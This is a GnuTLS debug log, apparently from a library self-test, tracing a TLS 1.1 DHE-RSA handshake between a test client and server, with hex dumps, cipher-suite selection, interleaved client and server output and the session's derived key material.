Keeping ciphersuite: RSA_AES_128_CBC_SHA1 client |<3>| HSK[0x11a0ed0]: Keeping ciphersuite: RSA_AES_256_CBC_SHA1 client |<3>| HSK[0x11a0ed0]: Keeping ciphersuite: RSA_3DES_EDE_CBC_SHA1 client |<3>| HSK[0x11a0ed0]: Keeping ciphersuite: RSA_ARCFOUR_SHA1 client |<3>| HSK[0x11a0ed0]: Keeping ciphersuite: RSA_ARCFOUR_MD5 client |<3>| HSK[0x11a0ed0]: Removing ciphersuite: PSK_SHA_AES_128_CBC_SHA1 client |<3>| HSK[0x11a0ed0]: Removing ciphersuite: PSK_SHA_AES_256_CBC_SHA1 client |<3>| HSK[0x11a0ed0]: Removing ciphersuite: PSK_SHA_3DES_EDE_CBC_SHA1 client |<3>| HSK[0x11a0ed0]: Removing ciphersuite: PSK_SHA_ARCFOUR_SHA1 client |<3>| HSK[0x11a0ed0]: Removing ciphersuite: SRP_SHA_AES_128_CBC_SHA1 client |<3>| HSK[0x11a0ed0]: Removing ciphersuite: SRP_SHA_AES_256_CBC_SHA1 client |<3>| HSK[0x11a0ed0]: Removing ciphersuite: SRP_SHA_3DES_EDE_CBC_SHA1 client |<2>| EXT[0x11a0ed0]: Sending extension CERT_TYPE client |<3>| HSK[0x11a0ed0]: CLIENT HELLO was send [76 bytes] client |<6>| BUF[HSK]: Peeked 0 bytes of Data client |<6>| BUF[HSK]: Emptied buffer client |<4>| REC[0x11a0ed0]: Sending Packet[0] Handshake(22) with length: 76 client |<2>| ASSERT: gnutls_cipher.c:204 client |<7>| WRITE: Will write 81 bytes to 0x5. client |<7>| WRITE: wrote 81 bytes to 0x5. Left 0 bytes. Total 81 bytes. client |<7>| 0000 - 16 03 02 00 4c 01 00 00 48 03 02 49 30 03 f0 7c client |<7>| 0001 - b0 a9 6f f6 f6 4d 34 a0 77 5a 8f e1 6e 82 07 e1 client |<7>| 0002 - d4 99 37 90 94 be 7d 54 a4 d6 53 00 00 18 00 33 client |<7>| 0003 - 00 39 00 16 00 32 00 38 00 13 00 66 00 2f 00 35 client |<7>| 0004 - 00 0a 00 05 00 04 01 00 00 07 00 09 00 03 02 00 client |<7>| 0005 - 01 client |<4>| REC[0x11a0ed0]: Sent Packet[1] Handshake(22) with length: 81 server |<7>| READ: Got 5 bytes from 0x5 server |<7>| READ: read 5 bytes from 0x5 server |<7>| 0000 - 16 03 02 00 4c server |<7>| RB: Have 0 bytes into buffer. Adding 5 bytes. server |<7>| RB: Requested 5 bytes server |<4>| REC[0x11a3a20]: Expected Packet[0] Handshake(22) with length: 1 server |<4>| REC[0x11a3a20]: Received Packet[0] Handshake(22) with length: 76 server |<7>| READ: Got 76 bytes from 0x5 server |<7>| READ: read 76 bytes from 0x5 server |<7>| 0000 - 01 00 00 48 03 02 49 30 03 f0 7c b0 a9 6f f6 f6 server |<7>| 0001 - 4d 34 a0 77 5a 8f e1 6e 82 07 e1 d4 99 37 90 94 server |<7>| 0002 - be 7d 54 a4 d6 53 00 00 18 00 33 00 39 00 16 00 server |<7>| 0003 - 32 00 38 00 13 00 66 00 2f 00 35 00 0a 00 05 00 server |<7>| 0004 - 04 01 00 00 07 00 09 00 03 02 00 01 server |<7>| RB: Have 5 bytes into buffer. Adding 76 bytes. server |<7>| RB: Requested 81 bytes server |<2>| ASSERT: gnutls_cipher.c:204 server |<4>| REC[0x11a3a20]: Decrypted Packet[0] Handshake(22) with length: 76 server |<6>| BUF[HSK]: Inserted 76 bytes of Data(22) server |<6>| BUF[REC][HD]: Read 1 bytes of Data(22) server |<6>| BUF[REC][HD]: Read 3 bytes of Data(22) server |<3>| HSK[0x11a3a20]: CLIENT HELLO was received [76 bytes] server |<6>| BUF[REC][HD]: Read 72 bytes of Data(22) server |<6>| BUF[HSK]: Peeked 0 bytes of Data server |<6>| BUF[HSK]: Emptied buffer server |<6>| BUF[HSK]: Inserted 4 bytes of Data server |<6>| BUF[HSK]: Inserted 72 bytes of Data server |<3>| HSK[0x11a3a20]: Client's version: 3.2 server |<2>| ASSERT: gnutls_db.c:238 server |<2>| EXT[0x11a3a20]: Received extension 'CERT_TYPE/9' server |<2>| EXT[0x11a3a20]: Received extension 'CERT_TYPE/9' server |<3>| HSK[0x11a3a20]: Removing ciphersuite: PSK_SHA_ARCFOUR_SHA1 server |<3>| HSK[0x11a3a20]: Removing ciphersuite: PSK_SHA_3DES_EDE_CBC_SHA1 server |<3>| HSK[0x11a3a20]: Removing ciphersuite: PSK_SHA_AES_128_CBC_SHA1 server |<3>| HSK[0x11a3a20]: Removing ciphersuite: PSK_SHA_AES_256_CBC_SHA1 server |<3>| HSK[0x11a3a20]: Removing ciphersuite: DHE_PSK_SHA_ARCFOUR_SHA1 server |<3>| HSK[0x11a3a20]: Removing ciphersuite: DHE_PSK_SHA_3DES_EDE_CBC_SHA1 server |<3>| HSK[0x11a3a20]: Removing ciphersuite: DHE_PSK_SHA_AES_128_CBC_SHA1 server |<3>| HSK[0x11a3a20]: Removing ciphersuite: DHE_PSK_SHA_AES_256_CBC_SHA1 server |<3>| HSK[0x11a3a20]: Removing ciphersuite: SRP_SHA_3DES_EDE_CBC_SHA1 server |<3>| HSK[0x11a3a20]: Removing ciphersuite: SRP_SHA_AES_128_CBC_SHA1 server |<3>| HSK[0x11a3a20]: Removing ciphersuite: SRP_SHA_AES_256_CBC_SHA1 server |<3>| HSK[0x11a3a20]: Removing ciphersuite: SRP_SHA_DSS_3DES_EDE_CBC_SHA1 server |<3>| HSK[0x11a3a20]: Removing ciphersuite: SRP_SHA_RSA_3DES_EDE_CBC_SHA1 server |<3>| HSK[0x11a3a20]: Removing ciphersuite: SRP_SHA_DSS_AES_128_CBC_SHA1 server |<3>| HSK[0x11a3a20]: Removing ciphersuite: SRP_SHA_RSA_AES_128_CBC_SHA1 server |<3>| HSK[0x11a3a20]: Removing ciphersuite: SRP_SHA_DSS_AES_256_CBC_SHA1 server |<3>| HSK[0x11a3a20]: Removing ciphersuite: SRP_SHA_RSA_AES_256_CBC_SHA1 server |<3>| HSK[0x11a3a20]: Removing ciphersuite: DHE_DSS_ARCFOUR_SHA1 server |<3>| HSK[0x11a3a20]: Removing ciphersuite: DHE_DSS_3DES_EDE_CBC_SHA1 server |<3>| HSK[0x11a3a20]: Removing ciphersuite: DHE_DSS_AES_128_CBC_SHA1 server |<3>| HSK[0x11a3a20]: Removing ciphersuite: DHE_DSS_AES_256_CBC_SHA1 server |<3>| HSK[0x11a3a20]: Keeping ciphersuite: DHE_RSA_3DES_EDE_CBC_SHA1 server |<3>| HSK[0x11a3a20]: Keeping ciphersuite: DHE_RSA_AES_128_CBC_SHA1 server |<3>| HSK[0x11a3a20]: Keeping ciphersuite: DHE_RSA_AES_256_CBC_SHA1 server |<3>| HSK[0x11a3a20]: Keeping ciphersuite: RSA_ARCFOUR_SHA1 server |<3>| HSK[0x11a3a20]: Keeping ciphersuite: RSA_ARCFOUR_MD5 server |<3>| HSK[0x11a3a20]: Keeping ciphersuite: RSA_3DES_EDE_CBC_SHA1 server |<3>| HSK[0x11a3a20]: Keeping ciphersuite: RSA_AES_128_CBC_SHA1 server |<3>| HSK[0x11a3a20]: Keeping ciphersuite: RSA_AES_256_CBC_SHA1 server |<3>| HSK[0x11a3a20]: Selected cipher suite: DHE_RSA_AES_128_CBC_SHA1 server |<3>| HSK[0x11a3a20]: Selected Compression Method: NULL server |<3>| HSK[0x11a3a20]: SessionID: 2fa2d3b6026d8762b0743b76ff5a475aefb9e98773a796078ae31431c078eaa5 server |<3>| HSK[0x11a3a20]: SERVER HELLO was send [74 bytes] server |<6>| BUF[HSK]: Peeked 76 bytes of Data server |<6>| BUF[HSK]: Emptied buffer server |<4>| REC[0x11a3a20]: Sending Packet[0] Handshake(22) with length: 74 server |<2>| ASSERT: gnutls_cipher.c:204 server |<7>| WRITE: Will write 79 bytes to 0x5. server |<7>| WRITE: wrote 79 bytes to 0x5. Left 0 bytes. Total 79 bytes. server |<7>| 0000 - 16 03 02 00 4a 02 00 00 46 03 02 49 30 03 f0 68 server |<7>| 0001 - cb 07 32 98 35 4d 10 b6 a9 2c 28 db d3 91 f7 9b server |<7>| 0002 - 98 7a d0 8b 84 9b e0 4d 81 ed 7e 20 2f a2 d3 b6 server |<7>| 0003 - 02 6d 87 62 b0 74 3b 76 ff 5a 47 5a ef b9 e9 87 server |<7>| 0004 - 73 a7 96 07 8a e3 14 31 c0 78 ea a5 00 33 00 server |<4>| REC[0x11a3a20]: Sent Packet[1] Handshake(22) with length: 79 server |<3>| HSK[0x11a3a20]: CERTIFICATE was send [612 bytes] server |<6>| BUF[HSK]: Peeked 0 bytes of Data server |<6>| BUF[HSK]: Emptied buffer server |<4>| REC[0x11a3a20]: Sending Packet[1] Handshake(22) with length: 612 server |<2>| ASSERT: gnutls_cipher.c:204 server |<7>| WRITE: Will write 617 bytes to 0x5. server |<7>| WRITE: wrote 617 bytes to 0x5. Left 0 bytes. Total 617 bytes. server |<7>| 0000 - 16 03 02 02 64 0b 00 02 60 00 02 5d 00 02 5a 30 server |<7>| 0001 - 82 02 56 30 82 01 c1 a0 03 02 01 02 02 04 46 26 server |<7>| 0002 - 1d 31 30 0b 06 09 2a 86 48 86 f7 0d 01 01 05 30 server |<7>| 0003 - 19 31 17 30 15 06 03 55 04 03 13 0e 47 6e 75 54 server |<7>| 0004 - 4c 53 20 74 65 73 74 20 43 41 30 1e 17 0d 30 37 server |<7>| 0005 - 30 34 31 38 31 33 32 39 32 31 5a 17 0d 30 38 30 server |<7>| 0006 - 34 31 37 31 33 32 39 32 31 5a 30 37 31 1b 30 19 server |<7>| 0007 - 06 03 55 04 0a 13 12 47 6e 75 54 4c 53 20 74 65 server |<7>| 0008 - 73 74 20 73 65 72 76 65 72 31 18 30 16 06 03 55 server |<7>| 0009 - 04 03 13 0f 74 65 73 74 2e 67 6e 75 74 6c 73 2e server |<7>| 000a - 6f 72 67 30 81 9c 30 0b 06 09 2a 86 48 86 f7 0d server |<7>| 000b - 01 01 01 03 81 8c 00 30 81 88 02 81 80 d7 ba 5c server |<7>| 000c - af a3 0c f0 2e a9 27 56 aa 53 8e a8 eb 7f 81 75 server |<7>| 000d - 4c 6b 98 be 4a ea b7 1e f8 4b c3 6a c4 da 0d 00 server |<7>| 000e - b8 ea 4c 13 1f 36 16 93 de 72 ef c6 a4 5e b2 6e server |<7>| 000f - b6 ca 0a 88 55 75 90 96 ed a6 57 bc 0c 3b 76 0d server |<7>| 0010 - 97 1e bd e9 ec 7f d3 a9 ec fb 85 64 a0 6b a0 48 server |<7>| 0011 - ce 77 7e 73 9c 31 13 ff 3d c8 ae a5 60 6e d9 b6 server |<7>| 0012 - 8c 5a 9a 6f b6 be 9f 6a bd a7 f0 a0 33 27 f5 b7 server |<7>| 0013 - 1d 92 e5 96 9c 73 52 d6 9f d6 c8 8e b1 02 03 01 server |<7>| 0014 - 00 01 a3 81 93 30 81 90 30 0c 06 03 55 1d 13 01 server |<7>| 0015 - 01 ff 04 02 30 00 30 1a 06 03 55 1d 11 04 13 30 server |<7>| 0016 - 11 82 0f 74 65 73 74 2e 67 6e 75 74 6c 73 2e 6f server |<7>| 0017 - 72 67 30 13 06 03 55 1d 25 04 0c 30 0a 06 08 2b server |<7>| 0018 - 06 01 05 05 07 03 01 30 0f 06 03 55 1d 0f 01 01 server |<7>| 0019 - ff 04 05 03 03 07 a0 00 30 1d 06 03 55 1d 0e 04 server |<7>| 001a - 16 04 14 eb c7 45 6e e5 f8 25 ca 8c 8d 83 0d 74 server |<7>| 001b - e9 86 d4 dd 55 b4 75 30 1f 06 03 55 1d 23 04 18 server |<7>| 001c - 30 16 80 14 e9 3c 1c fb ad 92 6e e6 06 a4 56 2c server |<7>| 001d - a2 e1 c0 53 27 c8 f2 95 30 0b 06 09 2a 86 48 86 server |<7>| 001e - f7 0d 01 01 05 03 81 81 00 68 51 0f 4e df bb 6f server |<7>| 001f - 3b c1 b8 e7 fb f9 09 9e 41 c9 f6 f6 44 fa 06 cc server |<7>| 0020 - a1 d5 11 c9 5d ff 0a 4e 4e 50 45 fc 29 ea 88 1b server |<7>| 0021 - a7 de 09 41 67 0d 43 f4 bb 60 31 47 82 50 f5 03 server |<7>| 0022 - 05 0d 05 15 f0 77 7a e2 52 c3 27 b3 18 1e 48 3c server |<7>| 0023 - 58 05 f2 58 6c 32 de a2 13 41 b2 a6 8f 0c 96 fb server |<7>| 0024 - 5d a8 a5 59 b3 10 29 f0 1b 15 0f 1c 9c ec 60 ac server |<7>| 0025 - e2 8b 51 04 56 27 42 b7 1f 25 d1 32 16 ea 8d d2 server |<7>| 0026 - c8 69 08 82 bd 02 ee 8b 3a server |<4>| REC[0x11a3a20]: Sent Packet[2] Handshake(22) with length: 617 client |<7>| READ: Got 5 bytes from 0x5 client |<7>| READ: read 5 bytes from 0x5 client |<7>| 0000 - 16 03 02 00 4a client |<7>| RB: Have 0 bytes into buffer. Adding 5 bytes. client |<7>| RB: Requested 5 bytes client |<4>| REC[0x11a0ed0]: Expected Packet[0] Handshake(22) with length: 1 client |<4>| REC[0x11a0ed0]: Received Packet[0] Handshake(22) with length: 74 client |<7>| READ: Got 74 bytes from 0x5 client |<7>| READ: read 74 bytes from 0x5 client |<7>| 0000 - 02 00 00 46 03 02 49 30 03 f0 68 cb 07 32 98 35 client |<7>| 0001 - 4d 10 b6 a9 2c 28 db d3 91 f7 9b 98 7a d0 8b 84 client |<7>| 0002 - 9b e0 4d 81 ed 7e 20 2f a2 d3 b6 02 6d 87 62 b0 client |<7>| 0003 - 74 3b 76 ff 5a 47 5a ef b9 e9 87 73 a7 96 07 8a client |<7>| 0004 - e3 14 31 c0 78 ea a5 00 33 00 client |<7>| RB: Have 5 bytes into buffer. Adding 74 bytes. client |<7>| RB: Requested 79 bytes client |<2>| ASSERT: gnutls_cipher.c:204 client |<4>| REC[0x11a0ed0]: Decrypted Packet[0] Handshake(22) with length: 74 client |<6>| BUF[HSK]: Inserted 74 bytes of Data(22) client |<6>| BUF[REC][HD]: Read 1 bytes of Data(22) client |<6>| BUF[REC][HD]: Read 3 bytes of Data(22) client |<3>| HSK[0x11a0ed0]: SERVER HELLO was received [74 bytes] client |<6>| BUF[REC][HD]: Read 70 bytes of Data(22) client |<6>| BUF[HSK]: Peeked 0 bytes of Data client |<6>| BUF[HSK]: Emptied buffer client |<6>| BUF[HSK]: Inserted 4 bytes of Data client |<6>| BUF[HSK]: Inserted 70 bytes of Data client |<3>| HSK[0x11a0ed0]: Server's version: 3.2 client |<3>| HSK[0x11a0ed0]: SessionID length: 32 client |<3>| HSK[0x11a0ed0]: SessionID: 2fa2d3b6026d8762b0743b76ff5a475aefb9e98773a796078ae31431c078eaa5 client |<3>| HSK[0x11a0ed0]: Selected cipher suite: DHE_RSA_AES_128_CBC_SHA1 client |<2>| ASSERT: gnutls_extensions.c:124 client |<7>| READ: Got 5 bytes from 0x5 client |<7>| READ: read 5 bytes from 0x5 client |<7>| 0000 - 16 03 02 02 64 client |<7>| RB: Have 0 bytes into buffer. Adding 5 bytes. client |<7>| RB: Requested 5 bytes client |<4>| REC[0x11a0ed0]: Expected Packet[1] Handshake(22) with length: 1 client |<4>| REC[0x11a0ed0]: Received Packet[1] Handshake(22) with length: 612 client |<7>| READ: Got 612 bytes from 0x5 client |<7>| READ: read 612 bytes from 0x5 client |<7>| 0000 - 0b 00 02 60 00 02 5d 00 02 5a 30 82 02 56 30 82 client |<7>| 0001 - 01 c1 a0 03 02 01 02 02 04 46 26 1d 31 30 0b 06 client |<7>| 0002 - 09 2a 86 48 86 f7 0d 01 01 05 30 19 31 17 30 15 client |<7>| 0003 - 06 03 55 04 03 13 0e 47 6e 75 54 4c 53 20 74 65 client |<7>| 0004 - 73 74 20 43 41 30 1e 17 0d 30 37 30 34 31 38 31 client |<7>| 0005 - 33 32 39 32 31 5a 17 0d 30 38 30 34 31 37 31 33 client |<7>| 0006 - 32 39 32 31 5a 30 37 31 1b 30 19 06 03 55 04 0a client |<7>| 0007 - 13 12 47 6e 75 54 4c 53 20 74 65 73 74 20 73 65 client |<7>| 0008 - 72 76 65 72 31 18 30 16 06 03 55 04 03 13 0f 74 client |<7>| 0009 - 65 73 74 2e 67 6e 75 74 6c 73 2e 6f 72 67 30 81 client |<7>| 000a - 9c 30 0b 06 09 2a 86 48 86 f7 0d 01 01 01 03 81 client |<7>| 000b - 8c 00 30 81 88 02 81 80 d7 ba 5c af a3 0c f0 2e client |<7>| 000c - a9 27 56 aa 53 8e a8 eb 7f 81 75 4c 6b 98 be 4a client |<7>| 000d - ea b7 1e f8 4b c3 6a c4 da 0d 00 b8 ea 4c 13 1f client |<7>| 000e - 36 16 93 de 72 ef c6 a4 5e b2 6e b6 ca 0a 88 55 client |<7>| 000f - 75 90 96 ed a6 57 bc 0c 3b 76 0d 97 1e bd e9 ec client |<7>| 0010 - 7f d3 a9 ec fb 85 64 a0 6b a0 48 ce 77 7e 73 9c client |<7>| 0011 - 31 13 ff 3d c8 ae a5 60 6e d9 b6 8c 5a 9a 6f b6 client |<7>| 0012 - be 9f 6a bd a7 f0 a0 33 27 f5 b7 1d 92 e5 96 9c client |<7>| 0013 - 73 52 d6 9f d6 c8 8e b1 02 03 01 00 01 a3 81 93 client |<7>| 0014 - 30 81 90 30 0c 06 03 55 1d 13 01 01 ff 04 02 30 client |<7>| 0015 - 00 30 1a 06 03 55 1d 11 04 13 30 11 82 0f 74 65 client |<7>| 0016 - 73 74 2e 67 6e 75 74 6c 73 2e 6f 72 67 30 13 06 client |<7>| 0017 - 03 55 1d 25 04 0c 30 0a 06 08 2b 06 01 05 05 07 client |<7>| 0018 - 03 01 30 0f 06 03 55 1d 0f 01 01 ff 04 05 03 03 client |<7>| 0019 - 07 a0 00 30 1d 06 03 55 1d 0e 04 16 04 14 eb c7 client |<7>| 001a - 45 6e e5 f8 25 ca 8c 8d 83 0d 74 e9 86 d4 dd 55 client |<7>| 001b - b4 75 30 1f 06 03 55 1d 23 04 18 30 16 80 14 e9 client |<7>| 001c - 3c 1c fb ad 92 6e e6 06 a4 56 2c a2 e1 c0 53 27 client |<7>| 001d - c8 f2 95 30 0b 06 09 2a 86 48 86 f7 0d 01 01 05 client |<7>| 001e - 03 81 81 00 68 51 0f 4e df bb 6f 3b c1 b8 e7 fb client |<7>| 001f - f9 09 9e 41 c9 f6 f6 44 fa 06 cc a1 d5 11 c9 5d client |<7>| 0020 - ff 0a 4e 4e 50 45 fc 29 ea 88 1b a7 de 09 41 67 client |<7>| 0021 - 0d 43 f4 bb 60 31 47 82 50 f5 03 05 0d 05 15 f0 client |<7>| 0022 - 77 7a e2 52 c3 27 b3 18 1e 48 3c 58 05 f2 58 6c client |<7>| 0023 - 32 de a2 13 41 b2 a6 8f 0c 96 fb 5d a8 a5 59 b3 client |<7>| 0024 - 10 29 f0 1b 15 0f 1c 9c ec 60 ac e2 8b 51 04 56 client |<7>| 0025 - 27 42 b7 1f 25 d1 32 16 ea 8d d2 c8 69 08 82 bd client |<7>| 0026 - 02 ee 8b 3a client |<7>| RB: Have 5 bytes into buffer. Adding 612 bytes. client |<7>| RB: Requested 617 bytes client |<2>| ASSERT: gnutls_cipher.c:204 client |<4>| REC[0x11a0ed0]: Decrypted Packet[1] Handshake(22) with length: 612 client |<6>| BUF[HSK]: Inserted 612 bytes of Data(22) client |<6>| BUF[REC][HD]: Read 1 bytes of Data(22) client |<6>| BUF[REC][HD]: Read 3 bytes of Data(22) client |<3>| HSK[0x11a0ed0]: CERTIFICATE was received [612 bytes] client |<6>| BUF[REC][HD]: Read 608 bytes of Data(22) client |<6>| BUF[HSK]: Peeked 74 bytes of Data client |<6>| BUF[HSK]: Emptied buffer client |<6>| BUF[HSK]: Inserted 4 bytes of Data client |<6>| BUF[HSK]: Inserted 608 bytes of Data server |<3>| HSK[0x11a3a20]: SERVER KEY EXCHANGE was send [397 bytes] server |<6>| BUF[HSK]: Peeked 0 bytes of Data server |<6>| BUF[HSK]: Emptied buffer server |<4>| REC[0x11a3a20]: Sending Packet[2] Handshake(22) with length: 397 server |<2>| ASSERT: gnutls_cipher.c:204 server |<7>| WRITE: Will write 402 bytes to 0x5. server |<7>| WRITE: wrote 402 bytes to 0x5. Left 0 bytes. Total 402 bytes. server |<7>| 0000 - 16 03 02 01 8d 0c 00 01 89 00 80 b6 4c 70 da 39 server |<7>| 0001 - 6c 54 2b 2b 7c ba b1 ac df 88 ac 5f f7 5b cb d5 server |<7>| 0002 - 16 f0 f3 61 b2 e6 c6 2d 86 42 ff 6c fc f4 06 58 client |<7>| READ: Got 5 bytes from 0x5 client |<7>| READ: read 5 bytes from 0x5 0004 - 42 23 54 9a 62 c7 8e 40 82 08 01 83 fb f0 27 f2 server |<7>| 0005 - 22 91 92 71 6f ef 4b c9 21 af 0d 2b 95 08 b2 78 client |<7>| 0000 - 16 03 02 01 8d client |<7>| RB: Have 0 bytes into buffer. Adding 5 bytes. client |<7server |<7>| 0007 - a6 14 e0 fb 1f 4b 26 25 ed 82 37 28 d8 a5 ec 41 client |<7>| 0000 - 0c 00 01 89 00 80 b6 4c 70 da 39 6c 54 2b 2b 7c client |<7>| 0001 - ba b1 ac df 88 ac 5f f7 5b cb d5 16 f0 f3 61 b2 client |<7>| 0002 - e6 c6 2d 86 42 ff 6c fc f4 06 58 fd 5d f6 2d b6 server |<7>| 000a - 31 43 87 c6 09 76 30 2d 45 03 60 aa 3d 74 52 a8 client |<7>| 0003 - 3f 60 e9 ad f7 09 92 75 ad ec a8 42 23 54 9a 62 server |<7>| 000b - 2a 83 65 f2 74 6f 30 14 3a 65 eb 25 57 fb 9d d4 client |<7>| 0004 - c7 8e 40 82 08 01 83 fb f0 27 f2 22 91 92 71 6f server |<7>| 000c - 29 ae 76 1d 2b ec f5 88 64 99 26 63 2b 60 fe f2 client |<7>| 0005 - ef 4b c9 21 af 0d 2b 95 08 b2 78 2b d0 80 5d ce server |<7>| 000d - 62 e8 96 be 6e c0 6f b3 4d f0 b7 65 86 fb 3f ae client |<7>| 0006 - 19 e1 8e 13 2c 1c c3 ea 10 4f 84 a6 14 e0 fb 1f server |<7>| 000e - e4 ee 93 88 79 0e ee e2 0b d6 58 0d b1 af 77 85 client |<7>| 0007 - 4b 26 25 ed 82 37 28 d8 a5 ec 41 5d 0f c0 d2 66 server |<7>| 000f - 28 b6 2c fb 2b c9 e4 90 14 4c 7c 54 11 9b 20 69 client |<7>| 0008 - d3 17 d4 0a 9b 57 00 01 05 00 80 6e 40 c9 2d 6e server |<7>| 0010 - 51 8e 68 bc 6b 8e ce ac 3f ca 42 e1 97 4d 60 11 client |<7>| 0009 - de 80 df 3d 25 b5 e9 eb 3d 68 6a 31 43 87 c6 09 server |<7>| 0011 - 00 80 28 75 80 cd 7e 25 52 45 1a 85 09 d6 c4 34 client |<7>| 000a - 76 30 2d 45 03 60 aa 3d 74 52 a8 2a 83 65 f2 74 server |<7>| 0012 - ad 84 36 1c a0 e6 15 d4 9d fc b6 4b 6a 5a 0c 50 client |<7>| 000b - 6f 30 14 3a 65 eb 25 57 fb 9d d4 29 ae 76 1d 2b server |<7>| 0013 - 14 69 28 58 52 0d f8 7e f0 c5 26 3b 7f 4a 8c 70 client |<7>| 000c - ec f5 88 64 99 26 63 2b 60 fe f2 62 e8 96 be 6e server |<7>| 0014 - 07 17 15 05 b1 11 39 6b f8 90 96 54 3d 94 8e 36 client |<7>| 000d - c0 6f b3 4d f0 b7 65 86 fb 3f ae e4 ee 93 88 79 server |<7>| 0015 - 1f b7 43 5e 73 21 49 fb 14 b5 de 5f 98 b4 00 b0 client |<7>| 000e - 0e ee e2 0b d6 58 0d b1 af 77 85 28 b6 2c fb 2b server |<7>| 0016 - c9 36 ec e1 22 1c 7d 46 32 2c ab 2d 69 ca 6d 40 client |<7>| 000f - c9 e4 90 14 4c 7c 54 11 9b 20 69 51 8e 68 bc 6b server |<7>| 0017 - a6 64 51 1d 34 f0 35 f1 27 3d 84 24 31 7b 0a 8f client |<7>| 0010 - 8e ce ac 3f ca 42 e1 97 4d 60 11 00 80 28 75 80 server |<7>| 0018 - 0a 0b 9b cc 57 cb 7a 62 84 bb 07 10 77 d8 b9 e5 server |<7>| 0019 - dc 75 server |<4>| REC[0x11a3a20]: Sent Packet[3] Handshake(22) with length: 402 server |<3>| HSK[0x11a3a20]: SERVER HELLO DONE was send [4 bytes] server |<6>| BUF[HSK]: Peeked 0 bytes of Data server |<6>| BUF[HSK]: client |<7>| 0018 - cb 7a 62 84 bb 07 10 77 d8 b9 e5 dc 75 client |<7>| RB: Have 5 bytes into buffer. Adding 397 bytes. client |<7>| RB: Requested 402 bytes client |<2>| ASSERT: gnutls_cipher.c:204 client |<4>| REC[0x11a0ed0]: Decrypted Packet[2] Handshake(22) with length: 397 client |<6>| BUF[HSK]: Inserted 397 bytes of Data(22) client |<6>| BUF[REC][HD]: Read 1 bytes of Data(22) client |<6>| BUF[REC][HD]: Read 3 bytes of Data(22) client |<3>| HSK[0x11a0ed0]: SERVER KEY EXCHANGE was received [397 bytes] client |<6>| BUF[REC][HD]: Read 393 bytes of Data(22) client |<6>| BUF[HSK]: Peeked 612 bytes of Data client |<6>| BUF[HSK]: Emptied buffer client |<6>| BUF[HSK]: Inserted 4 bytes of Data client |<6>| BUF[HSK]: Inserted 393 bytes of Data client |<7>| READ: Got 5 bytes from 0x5 client |<7>| READ: read 5 bytes from 0x5 client |<7>| 0000 - 16 03 02 00 04 client |<7>| RB: Have 0 bytes into buffer. Adding 5 bytes. client |<7>| RB: Requested 5 bytes client |<4>| REC[0x11a0ed0]: Expected Packet[3] Handshake(22) with length: 1 client |<4>| REC[0x11a0ed0]: Received Packet[3] Handshake(22) with length: 4 client |<7>| READ: Got 4 bytes from 0x5 client |<7>| READ: read 4 bytes from 0x5 client |<7>| 0000 - 0e 00 00 00 client |<7>| RB: Have 5 bytes into buffer. Adding 4 bytes. client |<7>| RB: Requested 9 bytes client |<2>| ASSERT: gnutls_cipher.c:204 client |<4>| REC[0x11a0ed0]: Decrypted Packet[3] Handshake(22) with length: 4 client |<6>| BUF[HSK]: Inserted 4 bytes of Data(22) client |<6>| BUF[REC][HD]: Read 1 bytes of Data(22) client |<6>| BUF[REC][HD]: Read 3 bytes of Data(22) client |<3>| HSK[0x11a0ed0]: SERVER HELLO DONE was received [4 bytes] client |<2>| ASSERT: gnutls_handshake.c:1123 client |<6>| BUF[HSK]: Peeked 397 bytes of Data client |<6>| BUF[HSK]: Emptied buffer client |<6>| BUF[HSK]: Inserted 4 bytes of Data client |<3>| HSK[0x11a0ed0]: CLIENT KEY EXCHANGE was send [134 bytes] client |<6>| BUF[HSK]: Peeked 4 bytes of Data client |<6>| BUF[HSK]: Emptied buffer client |<4>| REC[0x11a0ed0]: Sending Packet[1] Handshake(22) with length: 134 client |<2>| ASSERT: gnutls_cipher.c:204 client |<7>| WRITE: Will write 139 bytes to 0x5. client |<7>| WRITE: wrote 139 bytes to 0x5. Left 0 bytes. Total 139 bytes. client |<7>| 0000 - 16 03 02 00 86 10 00 00 82 00 80 66 c4 24 91 38 server |<7>| READ: Got 5 bytes from 0x5 server |<7>| READ: read 5 bytclient |<7>| 0002 - 23 36 08 f0 2a c6 b4 46 ec 52 af 85 d1 e0 df 46 client |<7>| 0003 - 0c 7b 3c 45 9c cf 06 37 80 3f 5e a2 12 46 a8 80 server |<4>| REC[0x11a3a20]: Expected Packet[1] Handshake(22) with length: 1 server |<4>| REC[0x11a3a20]: Received Packet[1] Handshake(22) with length: 134 >| 0005 - b3 22 be f6 f3 31 b3 28 ac 7f 3a e4 d6 93 3f 25 client |<7>| 0006 - 9b dc f0 69 a9 7e a4 63 ac ca 8e c7 08 e6 a0 46 client |<7>| 0007 - 58 73 8a c3 f7 f3 6a af 7b 5f 7c 4b 95 bd 98 f0 client |<7>| 0008 - 6c 45 c7 d9 36 fd 2c 34 8b a7 e3 client |<4>| REC[0x11a0ed0]: Sent Packet[2] Handshake(22) with length: 139 client |<3>| REC[0x11a0ed0]: Sent ChangeCipherSpec client |<4>| REC[0x11a0ed0]: Sending Packet[2] Change Cipher Spec(20) with length: 1 client |<2>| ASSERT: gnutls_cipher.c:204 client |<7>| WRITE: Will write 6 bytes to 0x5. server |<7>| 0008 - fd 2c 34 8b a7 e3 server |<7>| RB: Have 5 bytes into buffer. Adding 134 bytes. server |<7>| RB: Requested 139 bytes server |<2>| ASSERT: gnutls_cipher.c:204 client |<9>| INT: PREMASTER SECRET[128]: 41167049932bc84516104c5a35c565b8f77c55cserver |<6>| BUF[HSK]: Inserted 134 bytes of Data(22) client |<9>| INT: CLIENT RANDOM[32]: 493003f07cb0a96ff6f64d34a0775a8fe16e8207e1d499379094be7d54a4d653 ) server |<3>| HSK[0x11a3a20]: CLIENT KEY EXCHANGE was received [134 bytes] server |<6>| BUF[REC][HD]: Read 130 bytes of Data(22) server |<6>| BUF[HSK]: Peeked 0 bytes of Data server |<6>| BUF[HSK]: Emptied buffer server |<6>| BUF[HSK]: Inserted 4 bytes of Data server |<6>| BUF[HSK]: Inserted 130 bytes of Data client |<9>| INT: MASTER SECRET: 8297ae98d8ec3fad5c87234f9566a3a3184ba0578f34e95953ec3ba3a795066fb065484b92310e49ddd349a16a87e19a client |<9>| INT: KEY BLOCK[104]: ad2bd026a0c1a87c3af3b45ebbea20ce8bde45b2db0ba6fef618b72eeec569de client |<9>| INT: CLIENT WRITE KEY [16]: 6e9f1ef36d56350aa51d7be0862c3302 client |<9>| INT: SERVER WRITE KEY [16]: 1e1b4a6c7f77c32d73a1d424a06d03a6 client |<3>| HSK[0x11a0ed0]: Cipher Suite: DHE_RSA_AES_128_CBC_SHA1 client |<3>| 